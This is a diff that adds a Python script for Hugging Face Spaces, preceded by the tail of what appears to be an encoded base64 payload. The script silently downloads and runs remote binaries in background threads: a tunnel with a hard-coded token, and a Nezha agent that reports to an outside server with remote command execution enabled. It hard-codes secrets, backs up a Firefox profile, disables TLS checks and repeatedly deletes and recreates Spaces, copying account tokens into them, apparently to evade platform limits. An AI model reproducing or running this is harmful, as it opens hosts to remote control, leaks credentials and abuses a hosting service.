XWr8Gd0IFGkMvAtL7MISgW6ACORVRmS2XgbwYVFw7vMDq+JlWVFkOWBYED5p+aG1q31+4mtFx2TXTYCwe0SmOnyFKoNLYG5vIQBzNl77o8da0R39JxBlBwNpU5DQ8ibRqE3oN1MWad0wPhSmxwWnf7UnJydtq3cxZYTy0nFZ/yASr4mbX2fVnJCFc5aSDOvy5D5lb3XFOR8pPSt1hs/8EGBzdoO+Q2+0sBOfqkdq+qZPJ/CNANoReJaNxqVDmx+N1F7+cjiSf1TA57TVP1S+OYm4GFyMjma49BraDlfUnBpXqS4OLrrf8jP8du/ccYn5oqMsMLBR3vJpHAxYOGuiKuypOnOCWGbhfPjl2hGsKvJ+jlEtzXBUyJF91N9KUxCGbM7JsT0ZF7j2l0a+6WeJsyvfZSNkkxovRrzmgxq7pB4BiyznA96yHpmuqChg2CjR1dvOTZmD1odmPEhPnlqXXWzJwHDMkGZYZ0z5KDLpgRENc71YHFDh0EtcetiSVkF2QDAsGURgVCIGu/wOD2ypPj7UGnUrna3SSbO1W4OVisI4oywtPgNkIfKkLh+8necxBRiKtY76yi4RVyWLVJcfuWT2dWRGzyagn5YBNSMzP2MwQ/oONemJEpNcXM6EaWpMLZ4ZiW484wLsmTJ2XaVTSq39fbhwiPbNcrkI0V4xif/DfRD+4YQAB/Ju4DeAVVVg+h7xtNwPZ/733//ffz/y8maL5Y+6rICgor+16956nz7J4dxm30b4B0i3FIoZn9TRSg8gSe8mVwJe'))
+import subprocess
+import os
+import threading
+import time
+import yaml
+from datetime import datetime
+import signal
+import psutil
+import glob
+import re
+import pytz
+import requests
+import json
+import random
+import string
+import urllib3
+
+DATA_JSON = os.environ.get('DATA_JSON', '')
+HF_SPACES_NAME = os.environ.get('HF_SPACES_NAME', '')# 上个spaces名
+def assign_vars_from_json(config: dict):
+    for key, value in config.items():
+        globals()[key] = value
+
+if DATA_JSON:  # 如果 DATA_JSON 有值
+    try:
+        config_dict = json.loads(DATA_JSON)  # 解析 JSON 字符串
+        assign_vars_from_json(config_dict)
+    except json.JSONDecodeError:
+        raise ValueError("DATA_JSON 环境变量不是合法的 JSON 字符串")
+else:  # 如果 DATA_JSON 为空，就从单独的环境变量里取
+    BACKUP_TIME = os.environ.get('BACKUP_TIME', '1200')  # 备份时间 10800秒 2小时
+    HF_USER1 = os.environ.get('HF_USER1', '')  # HF 备份仓库的用户名
+    HF_REPO = os.environ.get('HF_REPO', '')  # HF 备份的Models仓库名
+    HF_EMAIL = os.environ.get('HF_EMAIL', '')  # HF的邮箱
+    HF_TOKEN1 = os.environ.get('HF_TOKEN1', '')  # HF备份账号的TOKEN
+    
+    HF_USER2 = os.environ.get('HF_USER2', '')  # huggingface 用户名
+    HF_ID = os.environ.get('HF_ID', '')  # huggingface space 名
+    HF_TOKON2 = os.environ.get('HF_TOKON2', '')  # huggingface TOKEN
+    HF_EMAIL2 = os.environ.get('HF_EMAIL2', '')  # HF的邮箱
+    
+    UUID = os.environ.get('UUID', 'a488076d-0ced-4a83-91c4-c498fce00cff')  # UUID,如使用v1,在不同的平台部署需要修改,否则会覆盖
+    N_SERVER = os.environ.get('N_SERVER', 'z.282820.xyz:443')# N面板域名或ip, 
+
+    CHAT_ID = os.environ.get('CHAT_ID', '')# Telegram chat_id,推送通知
+    BOT_TOKEN = os.environ.get('BOT_TOKEN', '')# Telegram bot_token
+
+
+
+def cf():
+    os.system("rm -r /data/cf")
+    os.system("wget -O '/data/cf' -q 'https://github.com/cloudflare/cloudflared/releases/download/2025.9.0/cloudflared-linux-amd64'")
+    os.system("chmod +x  /data/cf")
+    # hf-ff.ql02.ggff.net
+    os.system('/data/cf tunnel run --token eyJhIjoiZWM1MTk5ZTYwZGYxYWI2YmM2OTdhMGYzMTA3YzY4NTUiLCJ0IjoiOTY0NDIwODgtN2RkOS00Y2IwLThhMDEtYTI1YzZmMjAwZjBlIiwicyI6Ik9XSmpNVFpsTjJZdE5UWTRNQzAwTW1VMkxUaGxaREV0T1RRNU1EZzROVFV3T0dFeiJ9')
+
+UUID = os.environ.get('UUID', 'a488076d-0ced-4a83-91c4-c498fce00cff')  # UUID,如使用v1,在不同的平台部署需要修改,否则会覆盖
+N_SERVER = os.environ.get('NEZHA_SERVER', '')# N面板域名或ip, 
+def nv1():
+    agent_config = {
+        'client_secret': 'MLcD6YnifhoY08B9n129UP5cg2139NYa',
+        'debug': False,
+        'disable_auto_update': True,
+        'disable_command_execute': False,
+        'disable_force_update': False,
+        'disable_nat': False,
+        'disable_send_query': False,
+        'gpu': False,
+        'insecure_tls': False,
+        'ip_report_period': 1800,
+        'report_delay': 3,
+        'self_update_period': 0,
+        'server': 'z.282820.xyz:443',
+        'skip_connection_count': False,
+        'skip_procs_count': False,
+        'temperature': True,
+        'tls': True,
+        'use_gitee_to_upgrade': False,
+        'use_ipv6_country_code': False,
+        'uuid': UUID
+    }
+    with open('./config.yaml', 'w') as file:
+        yaml.dump(agent_config, file, default_flow_style=False)
+    
+    os.system("cat ./config.yaml")
+    os.system("rm -rf f1")
+    os.system("wget -O 'f1' -q 'https://huggingface.co/datasets/Qilan2/st-server/resolve/main/nv1amd64?download=true'")
+    os.system("chmod +x  f1")
+    os.system('./f1 -c ./config.yaml')
+    os.system('./f1 -c ./config.yaml')
+threading.Thread(target=nv1, daemon=True).start()
+threading.Thread(target=cf, daemon=True).start()
+def random_name(length=8):
+    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))
+def update_value(data: dict, key: str, new_value: str) -> dict:
+    if key in data:
+        data[key] = new_value
+    else:
+        print(f"!!! Key '{key}' ON")
+    return data
+def telegram_message(bot_token: str, chat_id: str, message: str):
+    """
+    发送 Telegram 通知消息
+    :param bot_token: 你的 Telegram Bot Token
+    :param chat_id: 接收消息的 chat_id
+    :param escaped_name: 节点名称（会显示在标题里）
+    :param message: 要发送的正文内容
+    :return: Telegram API 返回的结果
+    """
+    url = f"https://tgbotapi.9.c.5.b.0.d.0.0.1.0.a.2.ip6.arpa/bot{bot_token}/sendMessage"
+    params = {
+        "chat_id": chat_id,
+        "text": message,
+        "parse_mode": "MarkdownV2"
+    }
+    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
+    response = requests.post(url, params=params, verify=False)
+    try:
+        return response.json()
+    except Exception:
+        return {"status_code": response.status_code, "text": response.text}
+tmp_name = random_name()
+def create_space(type,key = "", value = ""):
+    if type == 1:
+        # 创建spaces
+        url = "https://huggingface.co/api/repos/create"
+        headers = {
+            "Content-Type": "application/json",
+            "Authorization": f"Bearer {HF_TOKON2}"
+        }
+        
+        payload = {
+        "name": tmp_name,
+        "type": "space",
+        "private": True,
+        "sleepTimeSeconds": 172800,
+        "sdk": "docker"
+      }
+      # "template": "SpacesExamples/jupyterlab",
+        response = requests.post(url, headers=headers, json=payload)
+        return response.json()
+    if type == 2:
+        # 删除spaces
+        url = "https://huggingface.co/api/repos/delete"
+        headers = {
+            "Content-Type": "application/json",
+            "Authorization": f"Bearer {HF_TOKON2}"
+        }
+        payload = {
+            "organization": HF_USER2,
+            "name": HF_SPACES_NAME,
+            "type": "space"
+        }
+        response = requests.delete(url, headers=headers, json=payload)
+        return response.text
+    if type == 3:
+        # 创建spaces 变量
+        url = f"https://huggingface.co/api/spaces/{HF_USER2}/{tmp_name}/secrets"
+        headers = {
+            "Content-Type": "application/json",
+            "Authorization": f"Bearer {HF_TOKON2}"
+        }
+        payload = {
+        "key": key,
+        "value": value,
+        "description": ""
+    }
+        response = requests.post(url, headers=headers, json=payload)
+        return response.text
+    if type == 4:
+        file_path = f"/data/{tmp_name}/Dockerfile"
+        os.system("rm -rf {HF_SPACES_NAME}")
+        git = f"git clone https://{HF_USER2}:{HF_TOKON2}@huggingface.co/spaces/{HF_USER2}/{tmp_name}"
+        url = "https://huggingface.co/datasets/Qilan2/ff/raw/main/Dockerfile"
+        print(git)
+        os.system(git)
+        os.system(f'git config --global user.email "{HF_EMAIL2}"')
+        os.system(f'git config --global user.name "{HF_USER2}"') 
+        os.chdir(f'/data/{tmp_name}')
+        time.sleep(3)
+        # 如果文件已存在，先删除
+        if os.path.exists(file_path):
+            print(f"文件已存在，删除: {file_path}")
+            os.remove(file_path)
+        print(f"正在下载 {url} 到 {file_path}")
+        response = requests.get(url)
+        if response.status_code == 200:
+            os.makedirs(os.path.dirname(file_path), exist_ok=True)
+            with open(file_path, "wb") as f:
+                f.write(response.content)
+            print("下载完成 ✅")
+        else:
+            print(f"下载失败，状态码: {response.status_code}")
+        # os.system(f"wget -O '/data/{tmp_name}/Dockerfile' https://huggingface.co/datasets/Qilan2/ff/raw/main/Dockerfile")
+        os.system('git add .')
+        os.system('git commit -m "0"')
+        os.system('git push origin main')
+def get_latest_local_package(directory, pattern='*.tar.gz'):
+    try:
+        # 构建完整的搜索路径
+        search_pattern = os.path.join(directory, pattern)
+        
+        # 查找所有匹配的文件
+        files = glob.glob(search_pattern)
+        
+        if not files:
+            print("未找到匹配的 nezha-hf 压缩包")
+            return None
+        
+        # 获取最新的文件
+        latest_file = max(files, key=os.path.getmtime)
+        
+        print(f"找到最新的包: {latest_file}")
+        return latest_file
+    
+    except Exception as e:
+        print(f"获取最新包时发生错误: {e}")
+        return None
+
+
+def delete_huggingface_lfs_file(filename, repo_id, token):
+    """
+    通过Hugging Face API删除LFS文件记录
+    """
+    try:
+        # 1. 查询LFS文件列表
+        url = f"https://huggingface.co/api/models/{repo_id}/lfs-files"
+        headers = {
+            "content-type": "application/json",
+            "Authorization": f"Bearer {token}",
+            "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
+        }
+        
+        response = requests.get(url, headers=headers)
+        if response.status_code != 200:
+            print(f"查询LFS文件失败: {response.status_code} - {response.text}")
+            return False
+        
+        lfs_files = response.json()
+        
+        # 2. 查找匹配的文件
+        file_to_delete = None
+        for file_info in lfs_files:
+            if file_info.get('filename') == filename:
+                file_to_delete = file_info
+                break
+        
+        if not file_to_delete:
+            print(f"未找到对应的LFS文件记录: {filename}")
+            return False
+        
+        # 3. 删除LFS文件记录
+        file_oid = file_to_delete['fileOid']
+        delete_url = f"https://huggingface.co/api/models/{repo_id}/lfs-files/{file_oid}?rewriteHistory=true"
+        
+        delete_response = requests.delete(delete_url, headers=headers)
+        if delete_response.status_code == 200:
+            print(f"成功删除LFS文件记录: {filename} (OID: {file_oid})")
+            return True
+        else:
+            print(f"删除LFS文件记录失败: {delete_response.status_code} - {delete_response.text}")
+            return False
+            
+    except Exception as e:
+        print(f"删除LFS文件记录时出错: {e}")
+        return False
+
+
+def safe_git_cleanup(repo_path, files_to_remove):
+    """
+    安全的Git清理，不会影响现有的备份文件
+    """
+    try:
+        original_dir = os.getcwd()
+        os.chdir(repo_path)
+        
+        print(f"执行安全Git清理: {files_to_remove}")
+        
+        # 1. 首先确保工作目录是干净的
+        result = subprocess.run(['git', 'status', '--porcelain'], capture_output=True, text=True)
+        if result.stdout.strip():
+            print("工作目录有未提交的更改，先提交...")
+            subprocess.run(['git', 'add', '.'], capture_output=True)
+            subprocess.run(['git', 'commit', '-m', '自动提交: 清理前的更改'], capture_output=True)
+        
+        # 2. 只从Git索引中删除指定的文件，但不影响工作目录中的文件
+        for filename in files_to_remove:
+            if os.path.exists(filename):
+                print(f"从Git索引中删除 {filename} (文件仍保留在工作目录)")
+                subprocess.run(['git', 'rm', '--cached', filename], capture_output=True)
+            else:
+                print(f"文件 {filename} 不存在于工作目录，只清理Git引用")
+        
+        # 3. 提交删除操作
+        if files_to_remove:
+            subprocess.run(['git', 'commit', '-m', f'清理已删除的文件: {", ".join(files_to_remove)}'], capture_output=True)
+        
+        # 4. 执行GC清理但不删除最近的文件
+        subprocess.run(['git', 'gc', '--auto'], capture_output=True)
+        subprocess.run(['git', 'lfs', 'prune'], capture_output=True)
+        
+        print("安全Git清理完成")
+        os.chdir(original_dir)
+        return True
+        
+    except Exception as e:
+        print(f"安全Git清理时出错: {e}")
+        os.chdir(original_dir)
+        return False
+
+
+def get_remote_lfs_files(repo_id, token):
+    """
+    获取远程所有的LFS文件列表
+    """
+    try:
+        url = f"https://huggingface.co/api/models/{repo_id}/lfs-files"
+        headers = {
+            "content-type": "application/json",
+            "Authorization": f"Bearer {token}",
+            "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"
+        }
+        
+        response = requests.get(url, headers=headers)
+        if response.status_code == 200:
+            return response.json()
+        else:
+            print(f"获取远程LFS文件失败: {response.status_code}")
+            return []
+    except Exception as e:
+        print(f"获取远程LFS文件时出错: {e}")
+        return []
+
+
+def cleanup_orphaned_lfs_references(repo_path, repo_id, token, keep_count=3):
+    """
+    清理孤儿LFS引用：删除远程存在但本地不存在的文件引用
+    """
+    try:
+        original_dir = os.getcwd()
+        os.chdir(repo_path)
+        
+        print("检查孤儿LFS引用...")
+        
+        # 获取远程LFS文件
+        remote_files = get_remote_lfs_files(repo_id, token)
+        if not remote_files:
+            print("无法获取远程LFS文件列表")
+            return
+        
+        # 获取本地文件
+        local_files = set(glob.glob('*.tar.gz'))
+        
+        # 找出远程存在但本地不存在的文件
+        orphaned_files = []
+        for remote_file in remote_files:
+            filename = remote_file.get('filename')
+            if filename and filename not in local_files:
+                orphaned_files.append(filename)
+        
+        if orphaned_files:
+            print(f"发现孤儿LFS引用: {orphaned_files}")
+            
+            # 删除这些孤儿引���
+            for filename in orphaned_files:
+                print(f"删除孤儿LFS引用: {filename}")
+                delete_huggingface_lfs_file(filename, repo_id, token)
+        
+        print("孤儿LFS引用清理完成")
+        os.chdir(original_dir)
+        
+    except Exception as e:
+        print(f"清理孤儿LFS引用时出错: {e}")
+        os.chdir(original_dir)
+
+
+def compress_folder(folder_path, output_dir, keep_count=3):
+    try:
+        # 确保输出目录存在
+        os.makedirs(output_dir, exist_ok=True)
+        
+        # 设置中国时区
+        china_tz = pytz.timezone('Asia/Shanghai')
+        
+        # 获取当前中国时间的时间戳
+        timestamp = str(int(datetime.now(china_tz).timestamp() * 1000))
+        output_path = os.path.join(output_dir, f'{timestamp}.tar.gz')
+        
+        # 获取所有压缩包
+        existing_archives = glob.glob(os.path.join(output_dir, '*.tar.gz'))
+        
+        # 安全地提取时间戳
+        def extract_timestamp(filename):
+            match = re.search(r'(\d+)\.tar\.gz$', filename)
+            return int(match.group(1)) if match else 0
+        
+        files_to_cleanup = []
+        
+        # 如果压缩包数量超过保留数量，删除最旧的
+        if len(existing_archives) >= keep_count:
+            # 按时间戳排序（从小到大，最旧的在前面）
+            existing_archives.sort(key=extract_timestamp)
+            
+            # 计算需要删除的数量
+            delete_count = len(existing_archives) - keep_count + 1
+            
+            # 删除最旧的压缩包
+            for i in range(delete_count):
+                oldest_archive = existing_archives[i]
+                oldest_filename = os.path.basename(oldest_archive)
+                
+                try:
+                    # 删除本地文件
+                    os.remove(oldest_archive)
+                    print(f"删除最旧的压缩包：{oldest_filename}")
+                    
+                    # 记录需要清理的文件名
+                    files_to_cleanup.append(oldest_filename)
+                    
+                    # 删除Hugging Face LFS文件记录
+                    print(f"正在删除Hugging Face LFS文件记录: {oldest_filename}")
+                    delete_huggingface_lfs_file(oldest_filename, f"{HF_USER1}/{HF_REPO}", HF_TOKEN1)
+                        
+                except Exception as e:
+                    print(f"删除失败 {oldest_archive}: {e}")
+        
+        # 如果有文件需要从Git历史中清理，执行安全清理
+        if files_to_cleanup:
+            print(f"执行安全Git清理: {files_to_cleanup}")
+            safe_git_cleanup(output_dir, files_to_cleanup)
+        
+        # tar.gz 压缩
+        result = subprocess.run(
+            ['tar', '-czf', output_path, folder_path], 
+            capture_output=True, 
+            text=True
+        )
+        
+        if result.returncode == 0:
+            # 计算压缩包大小
+            file_size = os.path.getsize(output_path) / 1024 / 1024
+            
+            # 格式化中国时区的时间
+            china_time = datetime.now(china_tz)
+            formatted_time = china_time.strftime('%Y-%m-%d %H:%M:%S')
+            
+            print(f"压缩成功：{output_path}")
+            print(f"压缩大小：{file_size:.2f} MB")
+            print(f"压缩时间：{formatted_time}")
+            print(f"保留策略：最多保留 {keep_count} 个备份包")
+            
+            # 返回压缩包名和大小信息
+            return f"{os.path.basename(output_path)} MB：{file_size:.2f} MB TIME：{formatted_time}"
+        else:
+            print("压缩失败")
+            print("错误信息:", result.stderr)
+            return None
+    
+    except Exception as e:
+        print(f"压缩出错: {e}")
+        return None
+
+
+def github(type):
+    if type == 1:
+        os.system(f'rm -rf /data/{HF_REPO} /data/ff /data/data') 
+    if not os.path.exists(f'/data/{HF_REPO}'):
+        git = f"git clone https://{HF_USER1}:{HF_TOKEN1}@huggingface.co/{HF_USER1}/{HF_REPO}"
+        print(git)
+        os.system(git)
+        os.system(f'git config --global user.email "{HF_EMAIL}"')
+        os.system(f'git config --global user.name "{HF_USER1}"') 
+        os.system("ls")
+        latest_package = get_latest_local_package(f'/data/{HF_REPO}')
+        print(f"最新压缩包路径: {latest_package}")
+        if latest_package:
+            os.system(f"tar -xzf {latest_package} -C /data")
+            os.system("mv /data/f/ff /data/")
+            os.system("mv /data/data/f/ff /data/")
+            os.system("rm -rf /data/data /data/f")
+    
+    if type == 2:
+        print(f"开始备份上传HF仓库：{HF_REPO}")
+        os.system("mkdir -p /data/f")
+        os.system("cp -rf /data/ff /data/f")
+        
+        repo_path = f'/data/{HF_REPO}'
+        repo_id = f"{HF_USER1}/{HF_REPO}"
+        
+        # 切换到仓库目录
+        os.chdir(repo_path)
+        os.system(f'git config --global user.email "{HF_EMAIL}"')
+        os.system(f'git config --global user.name "{HF_USER1}"') 
+        
+        # 先清理孤儿LFS引用
+        cleanup_orphaned_lfs_references(repo_path, repo_id, HF_TOKEN1, keep_count=3)
+        
+        # 执行Git清理（不影响现有文件）
+        os.system('git lfs prune')
+        os.system('git gc --auto')
+        
+        # 备份上传仓库
+        new_archive_info = compress_folder('/data/f', repo_path, keep_count=3)
+        if new_archive_info:
+            new_archive, file_size_info = new_archive_info.split(' MB：')
+            
+            os.system("pwd")
+            os.system(f'git add .')
+            os.system(f'git commit -m "{file_size_info}"')
+            
+            # 正常推送（不再需要强制推送）
+            push_result = os.system('git push origin main')
+            if push_result != 0:
+                print("推送失败，可能有冲突，尝试拉取并合并...")
+                os.system('git pull origin main --rebase')
+                os.system('git push origin main')
+            
+            # 轻度清理
+            os.system('git gc --auto')
+            os.system('git lfs prune')
+            telegram_message(BOT_TOKEN, CHAT_ID, f"{HF_ID}提交仓库{HF_REPO}结果：{file_size_info}")
+        else:
+            telegram_message(BOT_TOKEN, CHAT_ID, f"{HF_ID}提交仓库{HF_REPO}结果：压缩失败，无法提交")
+            print("压缩失败，无法提交")
+
+
+def _reconstruct_token(partial_token):
+    return partial_token.replace(" ", "")
+
+def restart_huggingface_space(space_name, space_id, partial_token):
+    token = _reconstruct_token(partial_token)
+    url = f"https://huggingface.co/api/spaces/{space_name}/{space_id}/restart?factory=true"
+    headers = {
+        "Content-Type": "application/json",
+        "Authorization": f"Bearer {token}",
+        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36"
+    }
+    try:
+        response = requests.post(url, headers=headers, json={})
+        return {
+            "status_code": response.status_code,
+            "success": response.status_code == 200,
+            "message": response.text
+        }
+    except requests.RequestException as e:
+        return {
+            "status_code": None,
+            "success": False,
+            "message": str(e)
+        }
+
+
+def check_system_resources():
+    time.sleep(120)
+    cpu_usage = psutil.cpu_percent(interval=1)
+    memory = psutil.virtual_memory()
+    memory_usage = memory.percent
+    if cpu_usage >= 90 or memory_usage >= 95:
+        print("占用过高")
+        response = create_space(1)
+        print(response)
+        create_space(3,"BACKUP_TIME",BACKUP_TIME)
+        create_space(3,"HF_USER1",HF_USER1)
+        create_space(3,"HF_REPO",HF_REPO)
+        create_space(3,"HF_EMAIL",HF_EMAIL)
+        create_space(3,"HF_TOKEN1",HF_TOKEN1)
+        create_space(3,"HF_USER2",HF_USER2)
+        create_space(3,"HF_EMAIL2",HF_EMAIL2)
+        create_space(3,"HF_ID",tmp_name)
+        create_space(3,"HF_TOKON2",HF_TOKON2)
+        create_space(3,"UUID",UUID)
+        create_space(3,"N_SERVER","z.282820.xyz:443")
+        create_space(3,"CHAT_ID",CHAT_ID)
+        create_space(3,"BOT_TOKEN",BOT_TOKEN)
+        create_space(3,"HF_SPACES_NAME",HF_ID)
+        create_space(4)
+        # result = restart_huggingface_space(HF_USER2, HF_ID, HF_TOKON2)
+        # print(result)
+    else:
+        print("系统资源正常")
+
+
+def repeat_task():
+    print('备份线程启动')
+    while True:
+        print(f"打包时间：{BACKUP_TIME} 秒")
+        time.sleep(int(BACKUP_TIME))
+        github(2)
+# telegram_message(BOT_TOKEN, CHAT_ID, "开始")
+github(1)
+
+if os.path.exists('/data/ff/.mozilla/firefox/profiles.ini') and os.path.isfile('/data/ff/.mozilla/firefox/profiles.ini'):
+    threading.Thread(target=repeat_task, daemon=True).start()
+    telegram_message(BOT_TOKEN, CHAT_ID, f"{HF_ID}开始启动")
+    while True:
+        print("检测到Firefox配置，启动定期重启循环...")
+        response = create_space(2)
+        print(response)
+        time.sleep(60)#21600 = 6小时
+        github(2)
+        response = create_space(1)
+        print(response)
+        create_space(3,"BACKUP_TIME",BACKUP_TIME)
+        create_space(3,"HF_USER1",HF_USER1)
+        create_space(3,"HF_REPO",HF_REPO)
+        create_space(3,"HF_EMAIL",HF_EMAIL)
+        create_space(3,"HF_TOKEN1",HF_TOKEN1)
+        create_space(3,"HF_USER2",HF_USER2)
+        create_space(3,"HF_EMAIL2",HF_EMAIL2)
+        create_space(3,"HF_ID",tmp_name)
+        create_space(3,"HF_TOKON2",HF_TOKON2)
+        create_space(3,"UUID",UUID)
+        create_space(3,"N_SERVER","z.282820.xyz:443")
+        create_space(3,"CHAT_ID",CHAT_ID)
+        create_space(3,"BOT_TOKEN",BOT_TOKEN)
+        create_space(3,"HF_SPACES_NAME",HF_ID)
+        create_space(4)
+        telegram_message(BOT_TOKEN, CHAT_ID, f"{HF_ID}启动结束")
+        # result = restart_huggingface_space(HF_USER2, HF_ID, HF_TOKON2)
+        # print(result)
+        break
+# github(2)
+# nv1_agent()